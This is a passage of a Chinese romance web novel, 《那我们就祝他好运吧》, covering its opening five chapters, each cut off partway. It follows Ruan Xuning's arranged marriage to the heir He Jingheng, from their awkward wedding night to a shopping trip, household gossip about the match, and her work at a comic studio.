《那我们就祝他好运吧》 1. 001 《那我们就祝他好运吧》全本免费阅读 阮绪宁觉得自己像是泡在一只灌满墨汁的玻璃瓶中。 眼前只有黑色。 脑袋也晕乎乎的。 许久,她才挪动了一下早已发麻的左腿,小心翼翼整理起蓬松的裙摆。 阮家小姐身材娇小,造型师特意为她准备了一条短款礼服裙作为婚宴敬酒服,眼下,倒是方便曲身于衣柜里。 周遭安静。 很快,她听见房门开合的动静。 有人进了屋。 脚步声由远及近,途中几度停顿——应该是在找寻新娘子的身影。 阮绪宁无法根据脚步声分辨来者是谁,但还是飞快确认了答案:新婚之夜,堂而皇之出现在婚房里的家伙,除了新郎贺敬珩,还能有谁? 屏住的那一口气还没来得及呼出去,衣柜移门便被那个男人推至一侧,因为力道太大,滑槽猝不及防发出刺耳的摩擦声响,惹得她打了个冷颤。 衣帽间里的灯都亮着。 算不上宽敞的衣柜下层瞬间灌入光线。 对于长时间待在暗处的阮绪宁而言,即便是柔和的暖黄色,也依然无比刺眼。 她下意识蹙眉。 见此情景,贺敬珩不动声色往前迈了一步,单手撑住衣柜隔板,用身体挡住了光线。 随即,略显沙哑的男声凉凉响起:“你躲在这里做什么?” 阮绪宁不吭声。 想想又觉得这样对待朋友很不礼貌,便仰起脸动了动唇…… 还是没有发出声音。 所幸,视线是落在了贺敬珩身上:他好整似暇地站在那儿,高定西装被随意搭在肩头,原本板板正正束在领口的领带也不知所踪,裁剪修身的黑色衬衫描画着肌肉匀称、充满力量感的上身轮廓,袖口高高卷起,露出线条漂亮的小臂。 背光缘故,男人深邃的眉眼和高挺的鼻梁全都笼在阴影里,像是被蒙上了一层纱黑,无端滋生出几分陌生感。 陌生感? 不应该的呀。 自学生时代相识至今,整整十个年头,她和贺敬珩之间是不应该有陌生感的。 如果非要说有…… 阮绪宁看向那件男士西装外套胸前,印有“新郎”两个烫金字的胸花早已被挤压变形。 一段由双方家长极力促成、她不得不接受的婚姻关系——这便是陌生感的源头了。 许久没能等到答案的贺敬珩率先打破沉默。 他“喂”了一声,拽回新娘子飞走的神魂:“我在问你话呢,你不是说身体不舒服、先回来休息吗?为什么躲进衣柜里?” 许是招待宾客一整日着实疲惫,男人微微下垂的眼尾淀着一丝懒倦,想要早点结束这一场计划之外的闹剧。 说话间,他伸出手,想扶新婚妻子从狭小的空间里出来,后者却不领情。 阮绪宁继续维持着原先的姿势,没有动弹。 也没有回话。 逐渐失去耐心的贺敬珩眼皮一掀,替她给出答案:“……怕我?” 多少有点。 贺家继承人“威名”在外,说不害怕,肯定是假的。 因为害怕躲进衣柜…… 而柜子里充盈的檀木香味又实在安神,一不小心就睡着了…… 阮绪宁斟酌着如何回答才能让自己显得不那么滑稽。 时间一分一秒过去,贺敬珩虽没有催促,可他人往那儿一站,就是压迫感的具象化。 再不回答,就是默认。 苦思无果,阮绪宁只得说出另一桩烦心事:“怕蛇。” 似是怕对方不信,接着补充:“周岑说,你养了一条蛇。” 阮绪宁提及共同好友的名字,贺敬珩并不意外,本来嘛,这些年他们之间能有交集,都因为周岑的存在。 他点点头:“哦,是怕蛇。” 复又自言自语般强调:“不是怕我。” 在省城洛州,人人皆知控股锋源集团的贺家权势显赫,阮家也小有来头,即便这场商业联姻敲定匆忙,新郎和新娘在婚宴上的表现也极其疏离,可豪门婚宴该有的排场半点不含糊,直到此刻,阮绪宁紧绷的神经也没能松弛下来。 她不知如何接话,眨了眨眼尾泛红的双眸。 无辜的模样,是滋养“恶”的沃土。 回忆起昔日恩怨,贺敬珩勾起唇角:“那你知不知道,蛇最喜欢待在阴暗、潮湿又隐蔽的地方,比如……” 故意拖长的尾音昭然着一点坏心思。 紧接三个字:“衣柜里。” 话音刚落,蜷缩成一团的小姑娘愕然瞪大眼睛。 身体本能先于大脑思考,她着急忙慌起身钻出衣柜,却被坠在腰后的薄纱拖尾绊了一跤,直挺挺扑向前方。 没想到小姑娘这么不经吓,贺敬珩面色一僵,来不及悔过,条件反射般抬手将人护住。 温香软玉抱满怀。 状况完全出乎了两人的意料。 阮绪宁贴着男人紧实的胸膛,脑子里瞬间一片空白,甚至忘了呼吸。 贺敬珩还算清醒。 见她站稳身子,便绅士地将手臂抽离,解释起先前的玩笑话:“怕什么,又没养在这里。” 阮绪宁“哦”了声,低头整理裙摆,以此来掩饰自己的别扭。 并非是因为肢体接触而别扭。 说起来,他们今天还在众宾客的注视下并肩走完红毯,宣读誓词、交换戒指、接吻——虽然是错位表演,但一而再、再而三模糊掉“普通朋友”的边界线,已然让阮绪宁对贺敬珩的碰触不再排斥。 她只是还没能释然:完全没有感情基础的两个人,经过一场没有任何意义的仪式,怎么就变成了需要携手度过漫长一生的合法夫妻? 想到“合法夫妻”这个称呼,阮绪宁猛地抬起脸:“那个,贺敬珩,我……我们,我们今晚就睡在这里吗?” 头顶射灯幽幽投下光影。 她的影子模糊一团,如同此刻被某件事搅乱的心情。 “不然呢?”贺敬珩淡然耸肩,“老爷子给我们置办的婚房啊,就算你不喜欢,也先凑合着住段时间吧,应付一下家里人,回头再换地方。” 贺家如今的话事人是已过古稀之年的贺名奎,贺老爷子看不惯独子贺礼文的行事作风,一心想让孙子贺敬珩早日继承家业,不仅给他张罗了一门好亲事,更是豪掷千金,在城北茂华公馆为小夫妻置办了一幢独栋别墅作为新婚礼物。 阮绪宁摇头:“我不是这个意思。” 她瞄了眼主卧里那张巴洛克风格的双人床,抿了下唇:“我的意思是,这里就一张床,我和你……嗯,要怎么睡呢?” 贺敬珩这才明白过来女孩的顾虑、或者说试探,一句话脱口而出:“我睡这儿就行。” 他冲衣帽间里的三人座沙发抬了抬下巴。 那点空间对于身材高大的男人来说略显拥挤,但眼下也没有更好的办法:贺名奎将身边人留在茂华公馆照顾小夫妻起居,如果他们新婚第一夜就“分房”,指不定会有风言风语传进老爷子的耳朵里。 作为继承人的贺敬珩,肯定不希望在这个节骨眼上自找麻烦。 但他仍决定尊重新婚妻子的意愿。 事实上,等待的这段时间里,阮绪宁已经做好了心理建设——如果贺敬珩真要说“一起睡”,她也不会提出异议。 眼下得知对方的态度,意外之余,竟还觉得一点儿抱歉。 她犹豫道:“还是我睡衣帽间吧。” 贺敬珩轻嗤,并不受用这份“谦让”。 女孩脚下那团灰黑色的影子,更加不真实了。 贺敬珩浅浅打了个呵欠,直接将外套丢到沙发上占据主导权,抬手去解衬衫纽扣:“这种事有什么好争的?你赶紧洗漱,乖乖去床上睡觉,我一会儿还要用浴室。” 解开第二粒纽扣后,男人的锁骨清晰可见。 边界线再度变得虚幻。 生怕那家伙继续当着自己的面宽衣解带,阮绪宁迅速低下头,甚至来不及应和一句,快步逃离衣帽间。 * 这些年养尊处优,贺敬珩早已忘了睡沙发的滋味。 即便用料是价格不菲的头层牛皮,沙发终究是沙发。 让他烦闷。 曲折长腿,将手臂枕在脑后,他一边听着主卧里的动静,一边摸出手机。 没有大肆宣传,朋友圈里知道贺家少爷今天结婚的人依旧不少,未读消息的红点积攒到一百加,并且 2. 002 《那我们就祝他好运吧》全本免费阅读 铃兰花造型的床头灯还亮着。 窗帘上的大马士革花纹被镀了层淡淡的金辉。 想到临睡前一场“意外”,独自躺在床上的阮绪宁辗转反侧。 贺敬珩应该没看到吧? 毕竟是背对着他。 但他当时贴自己那么近,背后的拉链又那么低,为了搭配礼服裙,她今天贴了胸贴,还有白色内裤…… 要命。 想到和贺敬珩同居后还可能遇到更多“意外”,原本做好的心理好像全都成了无用功,她郁闷地将棉被拉高过头顶,凌晨过后才昏昏沉沉睡过去。 醒来已是早饭时间点。 揉了揉惺忪睡眼,阮绪宁第一时间伸手去摸枕头下的手机,最上方一则消息是闺蜜谭晴几分钟前发过来的。 谭晴:还好吧? 两个姑娘自高中时代就是无话不谈的好朋友,也早早约定,以后一定要当对方的伴娘,眼下誓言成真,两人却都不似预想中那般欢喜。 昨晚婚宴半程,谭晴将新娘子送回房间后便离开了茂华公馆,想想还是有点儿不放心,心急火燎来问情况。 阮绪宁知道她想知道什么,言简意赅回复了一句“还好”。 谭晴:那昨晚你跟贺敬珩……我看他喝挺多的,有没有影响发挥? 阮绪宁:发挥? 谭晴:害,就是想问问你睡后体验如何? 阮绪宁:我没和他睡在一起呀。 谭晴话锋一转:可惜了。 可惜? 阮绪宁没明白这句话的深意,忍不住敲了一连串问号。 谭晴:其他不说,贺敬珩的长相身材真是没得挑!我是没怎么见过他穿西装,昨天一见……啧,那个双开门!那个倒三角!简直荷尔蒙爆炸,又帅又能打的样子!嗷嗷,有个词怎么说来着…… 阮绪宁:人模狗样? 谭晴:西装暴徒! 阮绪宁默默撤回上一条消息。 好在谭晴也没有借题发挥,依旧沉浸在大饱眼福的喜悦中:贺敬珩以前在国耀很受欢迎啊,好几个校花都追过他!你知道那个健美操队的苏欣蕊吗?她追了他好久! 谭晴:还以为你这次能捡个现成的便宜呢! 脑海里第一次被灌输入“睡贺敬珩等同于捡现成的便宜”这个概念,阮绪宁当即又敲了一连串省略号。 彼时,他们都在颇有名气的国耀中学念书,好巧不巧,又住同一个小区,贺敬珩和周岑比她大两届,是学校里的风云人物,即便不去刻意打听,阮绪宁也会隔三差五自同学口中得知那两个人的消息。 学生时代的贺家少爷,确实挺招女孩子们的喜欢:擅长运动又带着点儿痞气的帅哥,肩宽腿长,出手阔绰,哪怕穿着平平无奇的校服站在人堆里,也是第一眼就能被发现的那种存在。 然而那时候的阮绪宁,视线一直追随着周岑。 对于贺敬珩的耀眼,总是故作无视。 想到贺敬珩——如今已经成为自己合法丈夫的贺敬珩,阮绪宁当即从床上翻身坐起,赤脚跑到衣帽间外听动静。 确认对方已经不在里面过后,她才松了口气,洗漱穿衣。 餐厅在别墅一楼。 阮绪宁过去的时候,贺名奎与贺敬珩都已经入席。 没有贺礼文。 想想也不奇怪,洛州人尽皆知,贺老爷子的独子贺礼文毫无才干、不辨是非,做了不少荒唐事,早就成了家中“弃子”,就连贺敬珩的婚礼,贺名奎都不允他这个当父亲的上台致辞。 空气里弥漫着黄油的香味,阮绪宁忍不住深吸了一口气,继而发现,早餐除了牛肉千层酥和瑶柱粥以外,居然还有自己很喜欢的芝士可颂和枫糖松饼。 她眨眨眼,疑惑在舌尖滚了一遭,又被吞咽进肚子里。 见爷孙两人谈笑风生,并没有碰手边的餐具,阮绪宁突然间反应过来,他们是在等自己一起用餐。 顿生愧疚。 她站在桌边,恭恭敬敬喊了一声“爷爷”,正想着道歉,贺敬珩却抢在前头替她想好了说辞:“我不是说了让你多睡一会儿吗,怎么这么早就下楼了?饿了?” 阮绪宁根本不清楚贺敬珩是什么时候离开房间的,也没听他说过那样的话,但如此一来,自己姗姗来迟,倒像是他默许的了。 算是解围? 阮绪宁递过去一个感激的眼神,顺着他的话往下说:“嗯,是有点饿。” 贺老爷子示意她落座。 尽管面上带着真情实意的笑容,曾经叱咤商圈的大佬依旧气场骇人,阮绪宁垂着脸安安静静吃东西,生怕再与之对视…… 直到听见指节轻叩桌面的声音。 贺名奎提醒身边人:“吃饭的时候不要玩手机。” 贺敬珩应了话,手里的东西却没放下:“在和周岑说事儿。” 仿佛免死金牌。 贺名奎果然不追究了,又问:“小周已经走了?” 贺敬珩“嗯”了一声。 贺名奎沉沉叹气:“我也算是看着小周长大的,这孩子,样样都好,要不是摊上那样的……” 话说一半,就被贺敬珩打断:“老爷子,您尝尝这个。” 他切了小半块枫糖松饼送到贺名奎的餐盘中,看似献殷勤,实则是急于堵住对方的嘴。 贺名奎意识到什么,瞄了眼对面茫然睁大双眸的小姑娘,没有继续往下说:“让他出国读几年书也好。” 贺敬珩随声附和:“是啊。” “你刚回洛州的时候,小周可没少照顾你,以后,你也要多帮衬他。” “知道的。” 听着爷孙两人打哑谜般你来我往,阮绪宁虽有疑惑,却不好意思插话,只默默自我安慰:周岑家境优渥、父母恩爱,出国深造也是前些年就定好了的事,应该不是遇上了什么麻烦。 倒是贺敬珩…… 以前总觉得那家伙玩世不恭、横行无忌,谁料他与贺老爷子相处起来倒是不卑不亢、张弛有度,还有几分不符合年纪的冷静和沉稳。 阮绪宁正想着心思,甫一抬头,却捕捉到了贺敬珩不经意间飘过来的眼神。 她急忙又将脸埋下去,连嘴角不小心粘上的糖霜都来不及擦拭。 更没能看见对方小幅度上扬的唇角。 吃过饭,贺名奎又将小夫妻两人叫到跟前叮嘱了几句,无外乎“好好相处”“夫妻同心”“多照顾宁宁”之类的话。 阮绪宁跟着贺敬珩小心翼翼地回应,双手时不时揪一下裙摆。 瞧出孙媳妇的不自在,贺老爷子也没多苛责,言简意慨收了个尾,说自己还要陪赶来洛州赴宴的几个老朋友四处走走,就不多留了。 送贺名奎离开茂华公馆后,阮绪宁正准备回房间待着,却被贺敬珩叫住。 他没说话,只漫不经心点了点嘴角。 别墅客厅一侧做了整面的落地窗,视野开阔,采光极佳,婚宴结束后尚未撤走的数万朵白雪山玫瑰争相怒放,如中世纪油画般的美景一览无余。 阮绪宁却无心欣赏。 她的视线不由自主被男人的手吸引:骨节分明,五指修长,隐隐还能看见手背上的青筋,很适合用来当做绘画时的参考。 直到当事人轻咳数下,阮绪宁才反应过来,对方是在提醒自己唇角的糖霜没擦干净。 她“哎”了一声,赶紧搓掉污渍,懊悔间,耳边又响起那家伙的声音:“今天你是想在家休息,还是想出门散心?” 如果贺敬珩不问,阮绪宁或许会出于矜持而选择“家里蹲”。 但他问了,那就不必客气:“想去超 3. 003 《那我们就祝他好运吧》全本免费阅读 阮绪宁自幼住在城南,对茂华公馆周边环境确实不太熟悉,这趟行程,她不后悔多带一个司机兼向导。 恰逢周末,家居用品超市里挤挤攘攘。 她正打算推购物车,贺敬珩却始料未及握住把手:“我来吧。” 腕部暗自发力,没有给小姑娘谦让的余地。 在阮绪宁的印象中,贺敬珩对人的态度一向好坏难辨,这番看似绅士行为,说不定是嫌弃她笨手笨脚…… 她急忙松手。 退开几步又跟上前,生怕离得太远,与贺敬珩走散了。 将货架上的试用品一一比对过香味,阮绪宁终于找到了合乎心意的沐浴用品,又招呼贺敬珩去挑选香薰。 母亲谷芳菲总说她挑剔,但阮绪宁知道,自己只是对于气味比较敏感而已,就像昨晚执意躲进衣柜,也不是真的认为待在那儿就能不被发现,而是木头的香味令她觉得安心。 挑选许久,唯一心仪的,是一款海洋香调的烛台香薰。 阮绪宁正要将东西放进购物车,忽而想起来,如今自己算是与贺敬珩住在同一个屋檐下,卧室选用什么味道的香薰,理应征得“室友”的同意。 她轻声唤他:“那个,贺敬珩。” 男人的视线扫过来,还是一副对万事不上心的样子 阮绪宁捧起样品香薰,递到他面前:“你闻一下这个。” 贺敬珩疑惑:“怎么了?” 她催促:“闻一下。” 阮绪宁今天穿了身奶油白小飞袖连衣裙,长发编成两束蓬松麻花辫垂于身前,她本就身形纤细,五官精致,仰起脸时下巴更显瘦削,大而清亮的眸子如同沉于池底的黑曜石,引人去窥探深藏其中的隐秘。 被这样的画面短暂冲击视觉,贺敬珩愣怔数秒才收回目光,俯身凑近。 是很清爽的香味。 依稀能分辨出一丝薄荷和薰衣草的香调。 阮绪宁试探的声音幽幽响起:“你喜欢这种‘海洋香’吗?” 贺敬珩琢磨片刻,给出一个进退皆可的狡猾答复:“不讨厌。” 目的单纯的小姑娘放松下来:“我好喜欢这个味道,你要是不讨厌的话,那就选这款室内香薰吧?” 贺敬珩睨着货架上的香薰简介标签,语气平静却凉薄:“静谧海洋香……海水有香味吗,难道不是死鱼烂虾的腥臭味?” 非常不浪漫的回答。 阮绪宁大着胆子为他指点迷津:“你要想象那种氛围感,炎炎夏日,穿着清凉的衣服走在海边,海风吹来,喝一大口冰镇气泡水,再在沙滩上写出困扰了你很久的烦恼,等到涨潮的时候,海水拍打沙滩,烦恼就被带去大海深处啦——这种海洋香调,就会让人产生类似的联想。” 她难得聒噪。 贺敬珩难得不嫌别人聒噪。 他耐着性子听完,不紧不慢丢出一句:“是吗。” 阮绪宁以为他不相信,又将烛台香薰捧高寸许:“你想象我说的画面,闭上眼再闻一闻。” 面对迫切需要得到认可的女孩,贺敬珩只觉好笑,又不忍拂了她的意,再度凑过去……只是还没来得及闭上眼,便与同样探身靠近的小姑娘贴到了一起。 两人的鼻尖几乎相触。 沾染上弥漫在货架间的各种香味,此刻的阮绪宁,竟要比任何一只香薰更引人入胜。 那是一种很难描述的馨香,既纯净,又复杂,贺敬珩微微皱眉,强压下不该有的悸动,却忘了第一时间拉开过于暧昧的距离。 同样“迟钝”的还有阮绪宁。 直到男人温热的气息扑在自己脸侧,她才意识到有失矜持,赶紧向一侧挪开。 面颊升温。 阮绪宁想看对方的反应,又不敢看,只好垂下眼,将样品香薰放回货架,耳边响起贺敬珩的声音:“真是难为你了,为了给我做科普,还特意编了篇小作文。” 这话多少带着调侃的意味。 阮绪宁没有听出来,甚至将其当做称赞:“这有什么难的呀,我以前在国耀念书的时候,一直都是班里的语文课代表。” 真诚永远是必杀技。 贺敬珩被她那副得意模样给逗乐了,索性半真半假地夸:“这么厉害啊。” 阮绪宁“嗯哼”一声。 贺敬珩一手撑着购物车,一手插兜,饶有兴致地看向她:“我想想啊,那时候,我是高三(4)班的纪律委员,嗯,没记错,是纪律委员。” 阮绪宁愕然:“你能当纪律委员?” 语毕,飞快捂嘴。 怎么不小心把心里话说出来了? 没记错的话,这家伙当年在国耀中学可是不服从管教的那一类学生,若不是他成绩拔尖外加家世显赫,隔三差五还能参加青少年篮球赛、运动会之类的体育竞技项目为校争光,估计会被直接当成反面教材。 贺敬珩神色桀骜,道出一番歪理:“怎么不能?谁违反纪律,我就揍谁。” 阮绪宁:“……” 两人刚认识那会儿,她曾听周岑描述过贺敬珩的脾性,说他并非是行事粗鲁、崇尚暴力的家伙,而是寻求高效:套路和方法都是次要的,快速得到想要的结果才是硬道理,就像一支瞄准靶心的箭,果敢,锐利,势不可挡。 字里行间,多是对好朋友的赞许和欣赏。 父亲阮斌也说过,贺老爷子就是中意贺敬珩身上那股“杀伐果断”的劲儿,才下定决心将锋源集团交给他。 细细琢磨,阮绪宁似乎理解了想法。 但不免好奇:“那如果是周岑违反了纪律,你也会揍他吗?” 贺敬珩愣住了。 许久,才从齿缝间挤出三个字:“……不会。” 难得见到这家伙吃瘪,阮绪宁“噗嗤”笑出声,先前种种拘束,都在发自肺腑的笑容中逐渐消散。 贺敬珩跟着扬了下唇。 因为这一刻的毫不设防,也因为发现了一点与新婚妻子和谐相处的小窍门——他们之间,还是有许多共同话题的。 比如,有关国耀中学的回忆。 比如,周岑。 闲聊间,手机提示有新消息,贺敬珩点开五人群聊,发现是周岑发来的一张照片:大海和沙滩,像是旅行途中的随拍记录。 他的笑容没来由一僵,一时间不知该说这是纯属巧合,还是心有灵犀。 迟疑片刻,他发问:你下飞机了? 周岑:航班临时取消了。 周岑:买了张去哲海的机票,打算在这边住两天再走。 周岑:刚到海边。 贺敬珩还在斟酌如何回复,一抬眼,恰好撞见阮绪宁踮着脚,悄咪咪偷瞄自己的手机屏幕。 被抓了个现行,小姑娘略显窘迫,摸着发梢干笑:“那个,你们聊天群的名字好有趣呀。” 确实有趣:接着奏乐接着(5)。 刘绍宴、艾荣和程知凡都是贺敬珩的大学校友,通过贺敬珩又认识了周岑,年纪相仿的五个男生处的不错,建了个聊天群,偶尔群里招呼一声,出来打牌吃饭,消磨时间。 说着,还要明知故问:“周岑也在这个群里吗?” 贺敬珩随口应声:“嗯”。 “刚才的照片,是周岑发来的吗?” “嗯。” “周岑已经到伦敦了吗?他什么时候走的,这么快就到了呀?” 这次对话里的“周岑”含量过高,贺敬珩反倒觉得不那么和谐了。 他的语气中夹杂着不耐烦:“想知道的话,就自己去问他——我又没在周岑身上装追踪器,他的事,我怎么可能那么清楚。” 得到如此“冷淡”的答复,阮绪宁怔了怔:“你们不是朋友吗?” 贺敬珩反驳:“你们不也是朋友吗?” 阮绪宁轻轻咬了下唇:“……你们是好朋友。” 她和他,只是朋友。 这幅表情又叫贺敬珩为难起来。 内心一番衡量,他放弃挣扎,如实相告:“周岑的航班取消了,他准备在哲海住两天,等他到了伦敦,我会告诉你的。” 阮绪宁小小声说:“你也不用刻意告诉我。” 贺敬珩默默嘲了句“嘴硬”,索性说起别的:“这个群名是刘绍宴改的,他成天在网上瞎看,就喜欢搞这些。” 阮绪宁没接话,不知在想些什么。 他只得继续换话题:“好了没?刚才不是说,还想要一个抱枕吗?” 被这样一催,阮绪宁终于重新打起精神,随手拿起一盒没开封的烛台香薰放进购物车,快步走向不远处的床品货架。 贺敬珩跟在后面,越想越不对劲,抓起包装盒看了看——果然拿错了。 根本不是那款“静谧海洋”。 想唤阮绪宁去换一盒,可薄唇一张,却什么都没有说。 鬼使神差地,他将那只弄错香调的香薰重新放回购物车,假装没有发现。 * 结束选购,两人在商场三 4. 004 《那我们就祝他好运吧》全本免费阅读 毫不意外,两人根本没将阮绪宁的话放在心上,笑得更大声。 彼时,餐厅服务生也注意到了这边的动静,纷纷停下手中活计,驻足观望,判断着是否需要过来帮忙。 阮绪宁攥紧双拳,还想说些什么,左肩被人拍了拍——贺敬珩不知何时走到她身后。 黑色的影子落下来,结结实实将她罩住:“还没有找到耳机么?” 顺势丢给对面一记冷冰冰的眼刀。 阮绪宁眸子一动,冲前方努努嘴:“被他们捡到了,老公。” 最后的亲昵称呼稍显刻意,贺敬珩一愣。 原本嬉皮笑脸的两个男人也一愣:真的有老公。 而且,这位老公看上去真的能一个打八个…… 神情阴鸷的高大男人和扭曲成团的兔子抱枕,不协调的搭配确实引人发笑,但他们却再也笑不出来了。 其中一人当即将捏在手里的耳机递给阮绪宁,想想又觉得不足以表达诚意,飞快换成“双手呈上”的姿势,一句话都不敢多说。 眼镜男也埋头狂吃墨鱼面。 贺敬珩眉头紧拧,并不准备善罢甘休。 正要上前冷嘲几句、替小姑娘出出气,取回耳机的阮绪宁急忙牵起他的手,催促道:“我们快点走吧。” 那架势,唯恐贺家少爷气不过,要对陌生人动粗。 温度自掌心传来。 女孩的手小小的,软软的,触感很好,如同最轻柔的羽毛,拂动心弦。 贺敬珩呼吸一滞,不可思议地看着阮绪宁,见对方并没有觉察不妥,又垂着脸瞥望交叠在一起的两只手…… 他们不应该这样的。 本能地想要将手抽出来,没想到,反被攥得更紧。 贺敬珩眯起眼睛。 误以为这是某种警告信号,尽管内心发怵,阮绪宁还是使出全部力气拖拽着“危险分子”向餐厅门口走,像是要为自己壮胆似的念叨着:“好啦,好啦,事情已经解决了,你可别在这里揍人啊。” 原来是在担心这个…… 屏住的那一口气,终是长舒出来。 贺敬珩迟疑着弯曲五指,虚虚包裹住阮绪宁的手,任由对方牵着——或者说牵制着,离开餐厅。 临走前,不忘再给那两人留一点来自“老公”的眼神警告。 * 商场地下车库阴冷昏暗,贺敬珩整个人却燥热到不行,直到站在自己的座驾前,他才示意某人松手:“可以了。” 阮绪宁后知后觉地解除“绑定”,目不转睛地盯着男人修长漂亮的手指。 觉察到那道直白、好奇且意犹未尽的目光,贺敬珩轻咳数声,避嫌似的,将手插进西装裤兜,冷声下令:“上车。” 阮绪宁不敢怠慢。 越野车如同苏醒的黑色野兽,缓缓驶出停车位。 回程途中,两人相顾无言,直到将阮绪宁送回茂华公馆,贺敬珩才说公司里有点事,很急,得过去一趟。 虽说贺礼文明面上是锋源集团的董事长,手中权力却早已被架空,如同挂了个虚职,有坐镇董事会的贺老爷子在背后掌舵,公司的核心业务都绕不过不久前荣升为CEO的贺敬珩。 阮绪宁点头表示理解:“那今天晚上……” “不回来吃饭。” “我的意思是,你今晚还睡衣帽间沙发吗?” “不然呢?” “会不会冷?” “还好。” 对贺敬珩那种凉薄的语气多少有了点免疫力,阮绪宁想了想,继续道:“实在不行,你还是……” 还是怎样? 误以为小姑娘存有别的心思、想劝他上床睡,贺敬珩眼角一缩,微微收紧握方向盘的手。 轻轻柔柔的后半句话回荡在耳边:“……多盖一条被子吧。” 贺敬珩舌尖抵住后槽牙:就这? 算了,也不知道自己在期待什么。 他轻嗤一声:“挺好的。” 阮绪宁歪了歪脑袋:“嗯?” 贺敬珩透过降下一半的车窗看向神情茫然的妻子:“搬进婚房的第二天,就已经学会‘反客为主’了——挺好的。” 她想狡辩:“我不是那个意思……” 他却打断:“继续保持。” 居高临下的眼神,清晰利落的下颌线,还有唇边若有似无的笑意。 阮绪宁很中意这样的构图。 以至于黑色大G离开视野后,她才意识到,贺敬珩真正想说的是,希望自己以后就用这样女主人的态度来和他相处。 * 缺少了亲友和宾客,偌大的别墅显得空空荡荡。 除了张妈,还有几张生面孔在庭院里打理那些剩下的白雪山玫瑰。 没有提前重做庭院设计,外行人收拾起来毫无章法,只是将花朵不伦不类地插成花束,间或落下的白色花瓣,如同跳跃出乐章的杂乱音符。 独自将今天的“战利品”拿进主卧,阮绪宁正打算收拾一番,却意外听见衣帽间传来的对话声。 “昨天刚办完婚礼,少爷今天就不回家吃晚饭了?依我看,那个阮小姐好像也不怎么受待见……” “这桩婚事,本来就是阮家倒贴上来的。” “不会吧?不是说两家是世交、早就有意联姻了吗?” 阮绪宁想起来了,自己与贺敬珩吃午饭的时候,管家郑海打来电话,说谷芳菲差人送来几个包裹,是她的私人物品和换洗衣物,已经放进衣帽间了…… 议论她的,应该是负责收纳的阿姨。 知情的那位没打算住嘴:“这都是说给外面听的,我侄子就在阮小姐爸爸的公司里任职,听说,前段时间刚出事……” “破产啦?” “那倒没有,好像是想转让什么核心技术,结果被人做了局,死命压价,阮先生被逼得实在没办法了才过来求的老爷子!老爷子是生意人,又不是慈善家,肯定有顾虑嘛,那天,我正好在收拾会客室,听他们聊着聊着,就聊到少爷和阮小姐身上去了……婚事定下了,合作也就谈成了,这和卖女儿有什么区别?指望谁待见他们一家子?也就是老爷子身体不好,一心想早点让少爷结婚……” 她并没有压低声音。 阮绪宁却渐渐听不分明了,转而被一种深深的无力感包围:人家说的也没错,直到此刻,她都还记得父亲阮斌险些跪下求自己答应这桩婚事的场面。 事实如此,也不想听人背后嚼舌根。 初来乍到,茂华公馆女主人不好多说斥责的话,便故意将装满生活用品的购物袋放在地板上,发出“咚”的一声响。 所幸,足够有威慑力。 衣帽间里闲聊的两人登时噤了声,片刻过后,才若无其事走出来,恭恭敬敬与她打招呼:“阮小姐,您回来啦,衣服都已经熨好放进衣橱了,您看,还 5. 005 《那我们就祝他好运吧》全本免费阅读 婚宴匆忙,阮绪宁只向工作室请了两天事假。 次日一早,她准点出现在了工位上。 与新婚第一夜不同,阮绪宁昨晚睡得很好,直到起床后看见浴室脏衣篮里有换下的男士衣裤,她才确认贺敬珩昨晚回来过。 刚列完近期工作计划,工作室负责人陆然便将阮绪宁所在的小组叫到会议室,宣布他们手头正在连载的少女恋爱漫画《失落玫瑰》因人气不佳,即将面临被“腰斩”的命运。 打扮时髦的中年男人站在投影仪前紧拧眉头:“说白了就是数据不好,平台那边正式给到通知,说五话之内如果没有转机,这本就得放弃了!改剧情也好,做营销也好,大家赶紧想想办法,怎么样才能留住读者。” 元老同事广广冷不防出声打断:“老陆,《失落玫瑰》不受欢迎不是意料之中的事吗?这个漫画,从男主人设到剧情走向全都有问题,当时就不该急着上线,再加上主笔和编剧丢下一堆烂摊子跑路……能够连载到现在,全靠大家硬撑,还不如加速完结,早点解脱,让新人大展拳脚!” 说着,她拍了拍阮绪宁的肩膀:“喏,板板这里就有个不错的想法。” 板板,是他们对阮绪宁的昵称。 然而,纠结于旧作的陆然根本没有听进去:“我觉得《失落玫瑰》还能抢救一下,毕竟是亲生的,就算它再不好,也不能随随便便放弃……” 广广指着玻璃窗外埋头画画的其他小组成员:“咱们工作室有那么多火爆连载中的作品,你都能算是‘一胎八宝’了,还舍不得其中一个吗?” 陆然憨笑两声:“这不是手心手背都是肉嘛,做我们这一行,要有梦想、要有情怀。” 广广炸毛:“你赚不到钱真是活该!” 两人各执一词,争得厉害。 阮绪宁插不进话,只能效仿其他同事捧起手机,假装默默钻研漫画留言区的读者评论。 贺敬珩的消息毫无预兆地跳出来:到工作室了吗? 阮绪宁迅速切换到聊天界面,回了一个“嗯”字。 语气词很生硬。 翻翻库存,又发了个“小奶猫点头”的表情包。 贺敬珩:现在方便说话吗? 阮绪宁再次发送“小奶猫点头”。 贺敬珩:为什么不让柴飞送你上班? 柴飞是贺敬珩的司机,接送贺太太是再正常不过的工作安排,只是,阮绪宁见他开着一辆劳斯劳斯,当即就婉拒了。 实习生太过高调,容易让老板破防…… 转正就更难了。 猜测贺敬珩从不在意这些人情世故,她换了种说法:茂华公馆到工作室,出行很方便。 新学年开始,大学室友陆续外出实习,阮绪宁也从连城回到了洛州,从雅都名苑乘地铁可以直达青果工作室所在的文创园,如今搬到城北,也不过是早起十五分钟、多转一趟公交车而已,对她而言,确实称不上麻烦。 贺敬珩似乎并不相信:定位发给我。 阮绪宁听话照做,发完再次强调:真的很方便,你看一下,地铁站就在附近。 贺敬珩没有回复。 阮绪宁还想再说点什么,会议已经推进到了下一个阶段,BOSS点名重新安排工作,她只好收起手机,心不在焉地用笔在本子上涂涂画画。 迎着广广快要杀人的眼神,陆然坚持自己的想法,要给《失落玫瑰》增加一段剧情:“那就先这样定了,你们回头再琢磨一下新反派的人设,要那种一看上去就是只手遮天的□□大佬、冷酷无情又特别能打,才能增加男主‘英雄救美’的难度……” 阮绪宁笔尖一顿,发现居然在纸上写了个“贺”字,就像是根据那些描述、潜意识描画出了某个反派的人物形象。 见四下无人注意,她眉眼一垂,心虚地将那个小字涂黑。 * 按时完成了一天的漫画格数,阮绪宁将办公室“监工”橘猫团子抱下工位,这才想起来去看手机里的未读消息。 是贺敬珩半小时前发来的:我在文创园停车场,下班直接过来。 先斩后奏,不容置喙。 虽然不清楚那家伙特意过来一趟的目的,她还是找了个借口支开同事,一路小跑来到停车场。 